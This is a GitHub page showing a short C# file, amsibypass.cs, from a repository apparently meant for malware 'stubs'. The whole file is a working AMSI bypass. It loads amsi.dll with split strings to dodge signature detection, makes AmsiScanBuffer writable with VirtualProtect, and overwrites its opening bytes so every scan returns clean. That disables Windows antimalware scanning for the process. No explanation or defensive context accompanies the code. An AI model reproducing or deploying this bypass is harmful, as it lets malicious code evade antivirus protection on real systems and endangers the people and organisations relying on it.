forked from INotGreen/stub-Repositores
-
Notifications
You must be signed in to change notification settings - Fork 0
/
amsibypass.cs
35 lines (28 loc) · 1.12 KB
/
amsibypass.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Runtime.InteropServices;
namespace AMSIBYPASS
{
public class Class1
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
private static void copy(Byte[] Patch, IntPtr Address)
{
Marshal.Copy(Patch, 0, Address, 6);
}
public static void chaching()
{
IntPtr Library = LoadLibrary("a" + "m" + "s" + "i.dl" + "l");
IntPtr Address = GetProcAddress(Library, "Am" + "siSca" + "nBuf" + "fer");
uint p;
VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
Byte[] Patch= { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
copy(Patch, Address);
Console.WriteLine("TRUHE");
}
}
}